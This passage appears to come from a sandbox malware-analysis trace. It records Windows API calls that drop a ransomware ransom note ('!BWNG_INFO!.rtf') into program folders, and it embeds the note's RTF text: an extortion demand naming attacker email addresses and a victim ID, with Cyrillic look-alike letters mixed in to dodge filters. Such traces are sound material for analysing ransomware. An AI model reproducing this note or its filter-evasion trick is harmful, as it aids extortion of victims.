sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nt\x15F=\x89\x7fSÜÐÓ\x08\x15h|¢IªÓ]a\x0fª¥Gë`07", lpUsedDefaultChar=0x0) returned 14086 [0034.949] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0034.950] CloseHandle (hObject=0x1b0) returned 1 [0034.950] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\!bwng_info!.rtf")) returned 0xffffffff [0034.950] GetLastError () returned 0x2 [0034.950] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0034.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r 